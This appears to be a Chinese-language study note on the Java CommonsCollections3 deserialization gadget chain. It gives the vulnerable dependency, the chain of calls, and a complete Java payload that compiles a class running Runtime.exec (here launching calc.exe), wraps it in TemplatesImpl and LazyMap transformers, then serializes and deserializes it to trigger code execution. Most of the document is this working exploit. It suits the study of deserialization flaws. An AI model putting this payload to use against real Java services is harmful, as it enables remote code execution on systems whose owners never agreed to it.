CommonsCollections3 （CC3链）

说明

导入依赖

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

利用链

AnnotationInvocationHandler.readObject()
 $Proxy.entrySet()
    AnnotationInvocationHandler.invoke()
       LazyMap.get()
          ChainedTransformer.transform()
             ConstantTransformer.transform()
             InstantiateTransformer.transform()
                TrAXFilter.TrAXFilter()
                   TemplatesImpl.newTransformer()
                      TemplatesImpl.getTransletInstance()

简化后的payload

package com.ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class CommonCollections3 {
  public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {


      ClassPool pool = ClassPool.getDefault();
      CtClass doCalc = pool.makeClass("doCalc");
      CtClass dad = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
      doCalc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
      doCalc.setSuperclass(dad);
      byte[] bytes1 = doCalc.toBytecode();

      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","ZeanHike");
      setFieldValue(templates,"_bytecodes",new byte[][]{bytes1});


      Transformer transformerChain = new ChainedTransformer(new Transformer[]{
              new ConstantTransformer(TrAXFilter.class),
              new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

      });
      //AnnotationInvocationHandler无法直接new
      String ANNOTATION_CLASS="sun.reflect.annotation.AnnotationInvocationHandler";
      Constructor<?> firstConstructor = Class.forName(ANNOTATION_CLASS).getDeclaredConstructors()[0];
      firstConstructor.setAccessible(true);
      Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);



      Map mapProxy = (Map) Proxy.newProxyInstance(
              CommonCollections1.class.getClassLoader(),
              new Class[]{Map.class},
              (InvocationHandler) firstConstructor.newInstance(Override.class, lazyMap)
      );


      InvocationHandler invocationHandler = (InvocationHandler) firstConstructor.newInstance(Override.class, mapProxy);


      //序列化
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
      objectOutputStream.writeObject(invocationHandler);
      byteArrayOutputStream.flush();
      byte[] bytes = byteArrayOutputStream.toByteArray();


      //反序列化
      ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
      ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
      objectInputStream.readObject();


  }

  public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
      Field field1 = obj.getClass().getDeclaredField(field);
      field1.setAccessible(true);
      field1.set(obj,value);
  }
}